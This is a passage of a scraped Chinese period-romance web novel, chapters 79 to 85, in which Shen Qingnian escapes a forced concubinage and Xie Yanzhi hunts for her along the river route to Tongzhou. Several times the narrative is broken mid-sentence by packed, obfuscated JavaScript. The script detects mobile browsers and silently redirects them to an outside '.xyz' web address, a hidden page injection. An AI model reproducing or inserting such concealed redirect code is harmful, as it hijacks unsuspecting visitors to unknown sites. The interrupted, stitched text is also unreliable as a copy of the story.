d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312942|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “公子,你怎么去了这么久才来?” 菱儿看沈清念脸色微红,喘着气儿,;累得满头大汗,好像走了很远的路赶过来的。 “顾灵玉找人绊住了我。”沈清念说着,面色微微沉了下来。 她以为帮了顾灵玉如愿,顾灵玉便不会再难为她,到底是她忘了人心的复杂。 好在有惊无险。 沈清念对菱儿笑了笑,“我们快走吧。” 菱儿一拍脑门儿,“哎呀,快走,公子!” “刚刚船家都催了几次了!” 二人转身看过去,才发现那船已经离了岸。 “船…家!我们还没上船!”菱儿急得大声喊了一声。 船家只是在船头向她们摇了摇手,继续划着船往河中去。 “怎么办,公子?” “我们找家客栈住一晚再走?”菱儿试着问了一声。 现在船只走了,她们又不能回靖南侯府,不去客栈还能去哪儿? 沈清念心里有些懊恼。 她要是防备着些顾灵玉,也不至于被她弄到那偏僻的院子去,害她深一脚浅一脚地摸索了半天,才找到来渡口的路。 要是她再跑快一些就能赶上了! 要再留一晚吗?沈清念眉头轻蹙。 说不定谢宴之现在已经回了府,知道了她做的事。 她不觉得自己在谢宴之心里有多重要,会让他连夜追来。 但她毕竟是逃了婚,让他丢了颜面,他定会大发雷霆。 以他那阴沉的性子,此时若被他抓住,又不知他会如何折磨她。 沈清念深吸了一口气。 她似乎听到了远处有哒哒的马蹄声。 听那声音,就知来了不少人,马背上的人似乎很急,鞭子抽得马儿们发出阵阵嘶鸣。 沈清念回头望了望来渡口的路,只是一片昏暗,没有任何人影。 但她心里就是莫名的发慌,一股无名的恐惧爬上心头,让她浑身犹如千万只虫子在啃咬。 她又看向那黑压压的江水,滔滔江水夹杂些腥气,拍打在岸边,让人浑身发寒。 沈清念握紧了拳,不知为何,她只觉得今晚必须离了这京城! 第八十章 小心翼翼地躲着他 谢宴之带着人马到了渡口,他远远地就看见那艘在黑夜里穿行的船只。 船头挂着的大大的木牌上,用黑炭写着通州二字。 夜风吹在谢宴之脸上,他死死盯住那船只,好似正盯着沈清念一样。 随后手向旁边一伸,后面的随从就拿来了弓箭。 谢宴之用力一拉,对着船将箭射了出去。 船家手里的船桨一松,抬头见一支箭擦过他的头发,直直射在那牌子上。 “把船划回来!船上有逃犯!”其中一个随从朝那船大喊了一声,又做了个招手的动作。 那船家抬头一看,岸上一行人举着火把,将整个渡口照得灯火通明。 一个高大挺拔的身影立在中间,看不太清神情,但那人周身散发着寒气,看向他的目光也冷如寒冰。 船家自知是贵人办案,耽搁不得,便奋力摇着摇橹,快速往岸边靠去。 船上的人刚开始见船家将船划回去,心里还有些抱怨。 此刻见岸上停着好些人马,提着剑举着火把,人人脸上都是凶神恶煞一般的神情,也就不敢再说话。 船还未完全靠岸,谢宴之就飞身到了甲板上,提着剑,在人群里找寻起那竹青色的身影来。 船舱里的人都被他凌冽的气势吓住,看着那剑扫过自己身边,胆小的妇孺想要惊声尖叫,又赶紧捂了嘴,怕惹了贵人不快。 谢宴之心里越来越烦闷,来来**将船舱里外寻了两次,都未见沈清念的身影。 又见妇孺见到他那害怕的神情与沈清念一模一样,这才沉着脸,走下来甲板。 船家擦了擦额上的汗,走到他身边恭敬地问道:“这位大人,我们的船可以走了吗?” 这夜风越来越大,趁着江水还算太平,得赶紧出发才行。 再者,船上的客人也多,有回家见老母亲最后一面的,有着急到通州做生意的,都耽误不得。 旁边的随从看了一眼谢宴之,对船家摆摆手:“走吧。” 那船家才划着船离了岸。 谢宴之望着江水,复杂的情绪油然而生。 他竟从不知晓沈清念有这样的本事,一个闺中女子,敢带着丫鬟连夜出逃。 这时一只小舟闯进了他的眼中。 没了刚刚那大船的遮挡,小船在黑夜里露出了船身。 隐约可见一老翁用竹篙一顶,小船瞬间离了岸,他又换了摇橹,使船只快速去到江中心。 小船内,沈清念抬头望去,明月高悬,江面平静,点点星光倒映其中。 又看看两岸点点灯火,逐一往身后退去,这繁华的京城,最后化作一个小点,逐渐远去。 沈清念长长地舒了一口气,靠在船舱里闭目养神。 还好,这位老船夫愿意连夜送她们走。 方才那大船走后,虽然岸边还停靠着许多船只,却没有一只是往通州去的。 恰好这老船夫在热情地揽客,可揽了半天也没有客人坐船。 又看出她们的焦虑,便冲她们道:“公子,你们若是想去通州,小老儿我可以先将你们送到云州。” “到了云州再换船方便得多,那里的船几乎都是往通州去。” 沈清念听了这话觉着有些道理。 她们确实可以先到云州,再到通州。 这样,今晚就能离开京城。 她打量了一下那老船夫,见他眉目祥和,看起来也还算老实。 不然,她也不敢带着菱儿冒险。 有了顾灵玉的教训,沈清念多留了一分心眼。 她从袖子里掏出十个铜板,数了又数,才递了过去。 好让船夫看出她们的困顿,歇了那些劫财的心思,她和菱儿这一路才能安全些。 老船夫看了看二人的打扮,又见沈清念那仔细数铜板的模样,心里也有了几分底。 眼前的不知又是哪家的落魄公子,在京城混不下去了,连夜逃走。 此刻,那小船已经离开了渡口,顺水而下,向云州而去。 远处,谢宴之看着这舟,船身很小,就是普通渔民打鱼的船只,吃水又浅。 又在这样的夜里,江水湍急,那船只摇摇晃晃的,根本走不了长途。 谢宴之不禁自嘲,他刚刚在想什么,竟然想要将这般小的船叫回来好好搜寻一番。 好像沈清念此刻就缩在船舱里,小心翼翼地躲着他。 又听得随从来报,岸边的船只都搜查了,依旧没有那表小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312943|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐和那丫鬟的影子。 谢宴之握紧了拳,心中喃喃道:沈清念,你到底在哪里? 他就那样驻足在渡口,望着那小舟缓缓地消失在尽头。 这时,元青也骑马来禀报,他在城门查到了一些要往通州去的人,但都不是清姑娘和菱角。 他也想知道她们有没有在渡口,便赶了过来。 天色这么晚,那扎着双丫髻的小人儿会不会害怕,她们两个女子会不会有危险? 元青看着爷立在江头,神情落寞地望着远处,披风被夜风吹得猎猎作响,显得人萧肃又凉薄。 元青不禁有些失望,看这模样,爷也如他一样,并未找到人了。 看着谢宴之的背影,元青又叹了一口气,好好的,清姑娘跑什么呢? 那顾家小姐也是,跟着捣什么乱啊。 京城的道路又纷繁错杂,他们如今也不知该往哪条道儿追。 爷揭了盖头还要入宫一趟,去向皇上禀明情况的,便是想去追清姑娘,爷也追不了。 哎,清姑娘也是个会挑时机的,偏偏选在了这个时候。 良久,谢宴之回过头来:“去将所有的客栈都搜寻一遍。” “另外,派人告诉通州驿的官员一声,让他们严查这几日到通州的人里,是否有叫方为念的男子!” 待他进宫回了圣上,他必亲手去将这个胆大包天,不知好歹的女子抓回来! “还有,准备船只,让元宵去江南一趟,看看沈家的动静。” 他倒要看看,沈清念要怎么逃出他的手掌心! 他定要让她知道他谢宴之到底是她的什么人! “是,爷!”元青领命,带人隐入夜色中。 靖南侯府里。 老夫人气得用梨花木拐杖一下下狠狠敲着地,“你看你引来的好侄女儿,把这侯府搞得乱七八糟!” 苏姨娘跪在屋子中央,瞳孔中的震惊之色久久不能退去。 老夫人越想越气愤,要不是看在昭哥儿的面上,她真想将那拐杖敲在苏姨娘的身上。 她当年勾走了奕哥儿的心,害得他做出宠妾灭妻的事来。 如今她的侄女儿又勾走了她嫡孙的心。 这两人都是祸害! 第八十一章 根本捂不热 大夫人也是狠狠剜了苏姨娘一眼。 因着她的侄女,自己的侄女成这副模样。 她原本就瞧不上她们这些做妾的。 老夫人指着苏姨娘道:“你也是个做妾的,怎么就不能劝劝她?” “难道你在这府中的日子过得不好?” 苏姨娘现在才从震惊中清醒过来。 沈清念离府后,她还是放不下心。 总觉得沈清念走得这般急,定是有什么不好言说的缘由。 原来是大公子要强纳她为妾! “念儿从未同我说起过这事。” 苏姨娘又顿了顿:“大公子也没叫人来告知一声。” 念儿又不是没有亲人在府中。 大公子若真是看重她,又为何不来提亲? 可见谢宴之并未将念儿放在心上,那念儿为何要给大公子当妾室? 她不愿,她想逃,她有什么错! 听到这话,老夫人看了一眼苏姨娘, 见她仍是弓着身子跪在地上,恭恭敬敬的模样。 但嘴上分明是在顶撞她。 她又用拐杖狠狠敲了敲地面:“你这是在怪宴哥儿没做得周道!” “就你们这乡下女子的身份,何须那样周全的礼数?宴哥儿喜欢,抬了去就是了。” 大夫人在一旁撇了撇嘴,这对儿贱蹄子还真把自己当回事儿了。 侯府世子要纳妾,还需要向她一个姨娘交代吗?也太高看自个儿了吧。 从前二弟就宠爱这苏姨娘,将二弟妹冷落至极。 虽然她与二弟妹也算不上好,但她们两个都是京城的贵女。 她总觉得苏姨娘落了二弟妹的脸面,就是落了她们这些贵女的脸面。 听了老夫人的话,苏姨娘喉咙里泛着苦涩,心中却越发觉得庆幸。 她从前劝说过沈清念,做人妾室也没什么。 甚至,还动过心思要促成沈清念和谢宴之的事。 如今,听着老夫人满嘴都是对她们这种身份的嫌弃。 她庆幸沈清念及时逃走了。 “妾不敢。”苏姨娘轻轻回了一声。 “你不敢?我看你敢得很!” 老夫人一听,又窝了火。 这苏姨娘从前就是这种温吞的性子,叫人想向她发火,也拿不出个错处来。 她又看了一眼刘麽麽:“我这两日火气有些重,不便去佛堂礼佛,就让苏姨娘替我去吧。” 刘麽麽心里明白,老夫人这是要将姨娘关在佛堂里罚上几日。 刘麽麽看了眼苏姨娘,撇了撇嘴,心里暗道谁让她那个侄女儿不长眼。 连着她也受了牵连。 苏姨娘跪在地上,给老夫人磕了一个头后,被刘麽麽带去了佛堂。 谢宴之去了一趟宫中交了差后,又回了靖南侯府。 为了赶回来,他连夜奔袭,待办完这些事,他已有些疲惫。 大夫人来了观澜居,犹豫着要不要进去。 想着顾灵玉那泪眼婆娑的样子,大夫人一咬牙,还抬脚进了去。 谢宴之坐在书案边,双手扶额,见大夫人来了,眼皮都不曾抬一下。 薛氏知晓他的性子,也不等他先开口,直接问道:“宴哥儿,灵玉的事,你打算怎么办?” 谢宴之听到了顾灵玉这几个字,刚被他平息下去的怒意又汹涌起来。 沈清念能逃走,顾灵玉可谓“功不可没。” 况且,她还安排了又脏又臭的乞丐去毁了沈清念的清白。 他还没去找她,她倒好,又指使了这姨母上门来求情。 他倒想看看薛氏预备如何替她求情。 他抬眼看向薛氏,意味不明地问道:“母亲打算怎么办?” 薛氏一听,心中的石头才算放了下来。 原以为谢宴之会将她赶出去,没想到他不仅不生气,还竟肯继续听她说。 那她就替顾灵玉把话说出来。 “灵玉她毕竟是为你才弄成这样,现在人还在起院儿里昏死着。” “她对你又是痴心一片。” 薛氏绞了绞手中的帕子:“要不,你就将她收了房,就做个妾,再不求其他。” 薛氏将话说完,却没有听到任何回应。 她看着谢宴之晦暗不明的脸,紧张起来。 “宴哥儿?”薛氏壮着胆子喊了一声。 “母亲若是头脑不清醒,不如也去庄子上清醒清醒!” “一个侍卫碰过的人,如何与我为妾?” 薛氏听这话,已经知道谢宴之根本就不会给顾灵玉任何机会。 可她哥哥信阳侯那边如何交代?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312944|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>谢宴之又冷哼一声:“她应该庆幸沈清念没事”。 否则,他绝不会这样轻易饶过她! 薛氏也有些气恼道:“那你自己去给信阳侯府一个交代!” 说完一甩帕子,走了出去。 薛氏眼见事情已经瞒不住,给信阳侯去了一封信。 于是第二日,顾灵玉还昏着,就觉着脸上一阵凉意,像被人泼了水。 她睁开眼,见她母亲谭氏在床边弯着腰,用帕子给自己擦着脸。 而信阳侯手中拿着一只茶杯,正怒目圆瞪,那样子看得顾灵玉心里发怵。 “灵玉。”谭氏看到她醒过来,关切地看着她。 她的女儿昨日出门一夜未归,再见时已成了这副半死不活的样子。 “既然醒了,就将这个逆女带回去。”信阳侯将茶杯摔在地上,踏出门去。 侯爷发了话,屋里的丫鬟和婆子不顾谭氏的阻拦,便将顾灵玉架出了门。 “母亲,这到底是怎么回事?”顾灵玉弄不明白。 她如今都成这般模样了,父亲来不是应该让表哥对她负起责任来,将她迎娶进门吗? 为何现在看着父亲更像是在生她的气? 她有一种大事不妙的感觉。 谭氏跟在后面,温声说道:“宴哥儿已经将事情都告诉我们了。” “你父亲,他……” 信阳侯很生气。 在顾灵玉清醒之前,信阳侯已经找到了谢宴之,质问他为何将他的女儿害成这样? 而后得知,顾灵玉不仅帮谢宴之的爱妾逃走,还打算自己顶了那人,自甘堕落要来给谢宴之当妾。 要不是薛氏和她拼命拦着,信阳侯当时就要提着剑刺**顾灵玉。 顾灵玉将信阳侯府的脸面都丢光了,信阳侯还有什么脸要谢宴之娶了她? 谭氏没有说完后面的话,顾灵玉也猜到了。 直到回府,顾渊看到自己的妹妹跪在屋子中央。 才得知自己的妹妹竟然闯了这么大的祸,遭了这样大的罪。 “灵玉,你怎么这样糊涂!” 顾渊心里后悔答应帮顾灵玉办那两张路引。 也后悔没有多劝劝顾灵玉不要对谢宴之情根深种。 那人的心就是石头做的,根本捂不热。 第八十二章 你心里牵挂的又是谁呢 又过了几日,顾灵玉身着大红嫁衣,满头珠翠,打扮华丽。 谭氏更是为她准备了十里红妆。 可即便是涂了上好的胭脂水粉,也遮不住顾灵玉脸上的憔悴。 她脸上没有一丝喜色,只在喜婆的搀扶下,木讷地上了花轿。 谭氏看着那花轿越走越远,站在侯府门前哭得厉害。 此去天高路远,她想再看女儿一眼都难了。 只盼着侯爷赶紧将那姑爷调回京城,她们母女方能团聚。 自顾灵玉出了那事后,信阳侯就将她许给了一家境贫寒的举子。 那几日京城里的人都知道信阳侯府的二小姐与一寒门举子一见倾心。 纵使对方家境贫寒,二小姐也丝毫不嫌弃,愿意陪那举子离京,去那边远之地赴任。 人人都赞她对那夫君情深义重。 而沈清念这头,那老船夫按照约定,将沈清念和菱儿送到了云州。 当日沈清念掀开船上帘子看了看,江面烟波浩渺,两面青山矗立,清晨的浓雾还没有完全散开。 前面有一个渡口写着几个大字:云州驿。 这就是云州了吗? 沈清念心里有些欢喜。 她终于离开了京城,离开了那座牢笼。 沈清念和菱儿对那老船夫道了谢,就往云州城里去了。 昨夜走得匆忙,她们身上没有干粮。 她们又从未到过云州,想着去城里看看当地的风土与人情。 反正她们也不急着赶路,这几日她日日提心吊胆,昨日的遭遇更是让她胆战心惊。 好不容易出来了,沈清念决定带着菱儿去云州城里好好游玩一番,再去附近的集市买些吃食后,再启程去通州。 如果沈清念知晓谢宴之已经坐船来了云州,她是绝不会在这里停留的。 她们二人进了城,发现这云州虽不如苏杭两地繁华富庶,却也是民风淳朴的。 沈清念和菱儿在馄饨摊前等馄饨时,见老板肤色白皙,模样美貌,是个风韵犹存的女子。 手上的动作又十分麻利,热情地招呼着客人,整个人看起来大方洒脱。 她还发现对面的布庄、不远处的首饰铺里都是掌柜娘子坐镇铺子。 不像京城贵女般傲慢,也不似江南女子忸怩,这些掌柜娘子都落落大方,率性而活。 看来在这云州城,女子做生意并不稀奇,而且女子出来谋生养家,那么在此女子的地位远比别的地方好得多。 这让沈清念对云州这个地方又增加了几分好感。 老板娘将两小碗馄饨端了上来。 那馄饨皮薄馅大,又有少许葱花飘在汤面上,看起来清新可口。 菱儿早已饿得饥肠辘辘,大口大口地吃着馄饨。 而沈清念猜测老板娘定是个将日子过得精致的人。 方才老板娘从她身边过去时,身上飘着若有如无的香味。 她忽然想起,自她们进了这云州城后,这城中的人身上都有些香气。 沈清念有些好奇问道:“娘子,你们这里的人都喜用香吗?” 那老板娘笑呵呵道:“公子猜的不错,我们云州城的人都喜香,男子喜香囊,女子喜香粉。” 菱儿吃着馄饨,突然听到这句话,鼓着腮帮子道:“那你们这儿应该叫香州,不应叫云州啊。” 老板娘笑道:“这位小公子说得在理,只是这里自我祖辈以来都叫云州,从没改过名儿。” 原来如此。 沈清念她们付了银钱后,又向老板娘打听了集市的方向,去采办吃食了。 靖南侯府内,谢宴之面容冷峻地老夫人说了要南下江南,去祭奠母亲杨氏。 老夫人心知他哪是要去给杨氏扫墓,分明是要亲自去通州抓那清丫头。 老夫人眼看着谢宴之被沈清念迷得像丢了魂儿似的,不禁埋怨道:“你真是和你那二叔年轻时一模一样!” 谢宴之的二叔谢松奕当初为了苏姨娘能进门,在府里大闹了一场,老夫人现在想起来还心有余悸。 二叔? 谢宴之当然也听说过这件事。 在他的印象里,二叔玉树兰芝,风流倜傥,在战场上又勇猛非常,却愿为了苏姨娘做到那个份上。 他如今也是为了一个沈清念,要放下手上所有的事,去将她抓回来强留在身边。 他和二叔是一样的吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这时,一名丫头端着铜盆进来,对林氏说:“夫人,该给二爷擦身了。” 林氏抹了抹眼睛,指了指一旁的架子:“放这儿吧。”便挽了袖子,在铜盆里拧了帕子要替二爷擦身。 谢宴之见此情形,便走出了房间。 而后外面的婆子进来说谢宴之已经出了庄子。 林氏这才转过身来,将帕子丢在了铜盆里,伸手抚摸着二爷的脸轻轻道:“奕郎,这么多人牵挂着你,你心里牵挂着的又是谁呢?” 第八十三章 有一种说不出的失落 谢宴之从庄子里出来后,与元青一起快马加鞭到了渡口。 皇上听闻谢宴之要回江南给生母杨氏扫墓,赞扬了他的一片孝心,特意派了一艘官船给他。 官船不像漕船那样慢。 官船不需出示路引,沿途的关卡自是无须排查,直接放行。 在这样的恩典下,谢宴之的船几乎可以在这运河上畅行无阻。 是矣,谢宴之很快就到了云州。 云州两排山峰清丽,江面烟波浩渺,谢宴之立在船头,眼神清冷,对面前的美景毫无兴趣。 原本他是要昼夜不停地赶往通州的,但他早前派了元宵去江南沈家打探消息,在船上收不到消息。 谢宴之便让元宵将消息传到云州来,他中途在云州停留一会儿。 “爷,元宵的信。”元青走过来,手上拿着印着火漆的信。 元青没想到谢宴之竟让元宵用火漆封住来信。 爷解决了山匪之事立了功,如今风头正盛。 要是给人知道他此次南下是为了找一个女子,恐落人口舌,犯欺君之罪。 而用军营里的火漆封住信,旁的人只会以为是军情来报,轻易不敢窥探,这样便不会走漏消息。 元青心中佩服他家爷心思如此缜密。 谢宴之接过信,取出里面的信纸看了看,面色更冷,直接将手中的信握成了一团。 元青眼见爷的脸色越来越不好看,小心问道:“爷,清姑娘可有消息了?” “沈清念没有回江南。”谢宴之望向远处,沉着脸不知在想些什么。 而渡口那里,一行官兵将那些来渡口乘船的百姓挡住,不让他们过去乘船。 几个背着包袱的年轻人跟官兵嚷了几句:“凭什么不能过去登船?我家中老母病重,还在等着我呢!” 前排的官兵将人挡住,顺势将腰间的佩刀抽出了半截:“前面有官船,等那船上的贵人走了,自然给你们放行。” 官船? 这下百姓们开始议论纷纷。 而沈清念和菱儿买了好些干粮,此刻正排在后面,等着乘坐去往通州的船。 “听说船上的是靖南侯世子。”前面一着竹青色长袍的男子跟旁边的宝蓝长衫的男子在那窃窃私语。 靖南侯世子! 沈清念的心颤了颤,继续听那二人说着。 “你怎么知道?”那身着宝蓝色长衫的男子问道。 他有些好奇这竹青色男子是如何知晓这贵人身份的。 “我姐夫在这云州驿当差呢,他方才告诉我的。” “瞧见没,就是左边第三个官兵。” 宝蓝色长衫的男子见那官兵朝这男子点了点头,才相信了他的话。 “听说是要回乡祭奠生母,在这云州驿歇一会儿。”那男子又说道。 “那这世子还真是个孝子。”旁边的男子对这世子称赞不已。 沈清念此刻低着头,缩着脖子,害怕被谢宴之瞧见。 心里也不禁发问,谢宴之来云州做什么?扫墓不是应该去江南的吗? 那竹青色长袍的男子又道:“这官船可是皇上特意派给世子的,威风着呢。” 说着,二人伸长了脖子,向官船看去,想要看看这靖南侯世子到底是什么样的人物。 只见那甲板上立着一身形高大挺拔的男子,着一身金线黑色长袍,以冠束发,背影出尘,贵气非常。 那二人不禁感叹,这京城来的世子果真是龙章凤姿,英武不凡啊。 元青见登船的百姓越来越多,试着对谢宴之说道:“爷,我们现在就出发吧。” “渡口的百姓越来越多了。” 他们不走,官兵便不放百姓乘船。 闻言,谢宴之转过身来,见渡口的百姓们的确排起了一条长龙。 那些百姓中有些苦着脸,眼里有些抱怨,有些则用好奇的眼光打量着贵人。 “去告诉那些官兵,给他们放行。”谢宴之交代了一句。 得了消息,他也该起程了。 “是,爷。”元青得了吩咐,快步下去让官兵们给百姓放行。 “这靖南侯世子还真是个好官啊。”前面那两个男子不禁感叹着,跟着人群往前走去。 他们身后的沈清念却越来越紧张,她不确定谢宴之是不是来找她的。 但她和菱儿现在正被周围的人推着往前走,马上就要看暴露在那人的目光里了。 沈清念突然想到,若她现在和菱儿离了队伍,回到云州城去,不知还来不来得及。 而菱儿也低着头,不敢看谢宴之。 谢宴之目光平淡地看着这些登船的百姓。 忽然,有一个身影从队伍里站了出来,正逆着人流往相反的方向走去。 谢宴之看着那袍子有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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见到刚刚这一幕,沈清念心跳如雷,还好她方才没有拉着菱儿往回走。 谢宴之真的太敏锐了。 他竟然还能想起那身竹青色的袍子! 现在她青灰色的披风里正是那件竹青色的长衫! 她和菱儿昨天夜里乘船觉着有些凉,两人今日在云州城里买干粮的时候,便买了一件披风披在身上。 她现下越发怀疑谢宴之不是去扫墓的,而是去抓她的! 而元青正在谢宴之身前说着什么,刚好挡住了谢宴之的目光。 沈清念转过身去,帮菱儿拢了拢披风,二人低着头,顺着人群登上了去通州的船。 第八十四章 一定要等我 通州驿的官员得知谢宴之就要到了,一早就在通州渡口上等候着,手里拿着下面人盘查的手册,心中忐忑不已。 也不知那叫方为念的男子到底是什么人,竟让那靖南侯世子亲自过来拿人。 那官员思忖了一下,觉着此子定是与世子有什么大仇。 但是…… 正想着,那官员就见那三层高的官船靠了过来,船上旗帜招展,一众侍卫按着刀立于船上,好不气派。 而谢宴之则负手站在船头,看着渡口的方向。 那官员微微抬头,瞥了一眼谢宴之。 只见这靖南侯世子,头上戴着冠玉,腰间配着锦带,俊朗清贵。 又生得剑眉星目,鼻梁高挑,此刻薄唇微抿,面容冷峻,颇具压迫感。 谢宴之一下船,那官员便快步上前,行了一礼,“世子……” “人在哪里?”不等他将话说完,谢宴之直接打断了他。 闻言,那官员心下一沉,此子果真对世子很重要。 他忐忑着回了话:“世子,您要找的人并未到过通州。” 谢宴之目光一扫,那官员只觉得后背生寒,偏额上又出了些许汗。 “怎会没有?” “入城人员的路引可查全了?”谢宴之已然有些不悦。 那官员十分笃定道:“下官已将这五日来的路引册子都查了一遍,并没有方为念此人。” 甚至,他还查了十日以来的路引,也没有找到这人。 谢宴之眉头皱了皱:“那客栈酒楼有没有查?” 那官员赶紧递上手中的册子道:“这是十日来通州城内客栈所记投宿名册,下官看过,也没有方清的名字。” 路引没查到,也未投客栈。 但是她们来了通州,总要有个落脚之处,收容之所。 谢宴之冷冷道:“那最近租赁屋子的人可有记在册子上?” 他早就让元青传了信,要这边的人竭力留意沈清念的踪迹的。 那官员一听,就知他自己确实没考虑周全,也没有仔细搜寻。 不由地一下跪在地上:“下官现在就去查,只要人还在通州,定能找出来。” 谢宴之冷声道:“除了刚刚所说的地方,这附近可还有寺庙?” 或许沈清念她们去了寺庙投宿也说不定。 “另外,我还要城内新开铺子的掌柜名册。” 沈清念从前一心想开个铺子卖香珠,或许她不会这么快开起铺子来,但他还是不想放过这么一点可能。 “顺便查查,这里是否有叫沈清念的女子。” 那官员一听,一下要搜寻这么大范围,光查这男子还不够,还要再查一名女子,心里不禁叫苦。 听世子的意思,就是掘地三尺,他们也得将此子挖出来。 但他面上不敢露出埋怨之色,只能点头道:“是,下官立刻就去办。” “嗯。”谢宴之淡淡回了一声,目光却直直盯着他。 那官员见谢宴之鹰隼般的目光,心里不由地腾起一股惧意。 那眼神分明是在警告他,若他再办事不利,恐怕世子不会轻饶了他。 他跪在地上不敢动弹,直到看见谢宴之微微颔首,才从地上兢兢战战爬起来,带着手底下的人开始了上天入地的搜查。 谢宴之看了看手中的册子,不管之前怎样,如今只要他来了,沈清念就别想脱身。 他倒要看看她能躲几日。 镇州。 昏暗的地牢里,萧怀意身着一身白色囚服,正坐在一堆枯草上。 牢门前,一侍卫打扮的人正拱手道:“公子,京中暂无异动。” “只是靖南侯府世子谢宴之近日突然禀了皇上,南下回江南替其生母扫墓。” “不知,他是否有什么暗藏的心思。” “哦?谢宴之离京了。” 萧怀意想着这又不是清明,谢宴之为何要回乡祭母? 他忽然又想到了什么,站起来问道:“那通州的院子近来可有人去过?” 自从将钥匙给了沈清念后,萧怀意就一直派人盯着那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312947|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院子,好照应沈清念。 侍卫摇摇头:“并未有人前去。” 萧怀意心中略感失落。 沈姑娘是不愿离开靖南侯府吗? “但近来有人在通州城的客栈搜查,甚至连寺庙都没有放过,连着几日都在找一名叫方为念的人。” 萧怀意听这名字,不知为何,就是有些莫名熟悉的感觉。 他突然想到曾听沈清念说过她名字的由来。 清清白白方为清,念念不忘方为念。 方为念,方为念,这个方为念会不会就是沈姑娘? 萧怀意低沉的心一下有了一丝期待。 他又问道:“可知是什么人在查?” “属下暂时不知,只听说是京城来的贵人。” 萧怀意略微思忖了一下,谢宴之近日离京南下,通州又突然有了贵人掘地找人。 南下江南,先经云州,再过通州,最后才能到江南。 难道是谢宴之在找沈姑娘? 这样的猜测让萧怀意隐隐有些兴奋。 那日见沈姑娘泪眼朦胧,他就知沈姑娘绝不愿与谢宴之在一起。 她向来是一个有风骨的好姑娘! 想到这儿,萧怀意彻底高兴起来,果然,沈姑娘没有令他失望。 他转而又收起了笑,语气严肃道:“派人盯着那院子!” “若是发现有年轻女子拿钥匙开了那院子的门,你们就一直跟在她身边保护她!” 想到沈清念或许已经离开了靖南侯府,萧怀意就好想立刻出了这牢房,出现在沈姑娘面前,好好地安慰她。 她一柔弱女子,孤身到通州,一路上肯定艰辛。 又想到她现在还被谢宴之追着不放,终日躲躲藏藏,一定很害怕。 他多想能亲自去护着她! 可他现在还要在这里蛰伏,没有办法在沈姑娘身边。 想到这里,萧怀意心下不免有些遗憾。 望着牢房里那微弱的光,他眼神里透着坚毅,心里默念着:“沈姑娘,你一定要等我!” 第八十五章 可能要找到你了 “爷,还是没有清姑娘的消息。”元青小心地说道。 他们到通州已经五天了。 爷这几日不眠不休地将这通州城都翻了个底朝天,还是没能找到清姑娘的踪迹。 元青心里感叹:这清姑娘是真能藏啊! 谢宴之蹙着眉,嘴角冷嗤一声:“从前倒是小瞧她了!”原本觉得不过一两日便可将她抓回去。 如今五日过去了,却连沈清念的一点蛛丝马迹都没探到。 说着,将茶盏重重往桌上砸去。 那日的官员见这动静,吓得立刻跪倒在地,颤颤巍巍道:“世子,这通州没有,是否让下官去周边城镇也看看?” 他在通州任职十年之久,每一处地方都熟悉。 这样大的动静都没将人找到,这人定不在通州。 “爷,你说清姑娘和菱角两个大活人能躲到何处去?” 元青眼下是真想知道她们能躲哪去,难不成她们 谢宴之低头看了看铺在案前的舆图,面色深沉。 这里大大小小的地方都已找过,无一漏掉。 这样看起来,若不是沈清念藏得太好,就是她根本没有到过通州! 谢宴之猛地想到他一直都忽略了一点。 沈清念是拿着通州的路引,可谁说她就一定会到通州了? 他眼前又浮现她那狡黠的模样。 是了,若她在途中的渡口下了船,拿着通州路引,仍然可以进到沿途的城镇。 “元青,去备船!”谢宴之起身往外走去。 元青还没反应过来,便见谢宴之已踏出门去。 他看了一眼地上跪着的官员问道:“你这几日见过世子吗?” 那官员混迹官场十几年,哪还能不懂元青的意思。 想这世子是在私下找人,不便透漏行踪。 他可不敢得罪他,立即回道:“小哥说笑了,我们通州何时来过什么世子?” 元青听这官员的回答如此上道,这才满意地跟了上去。 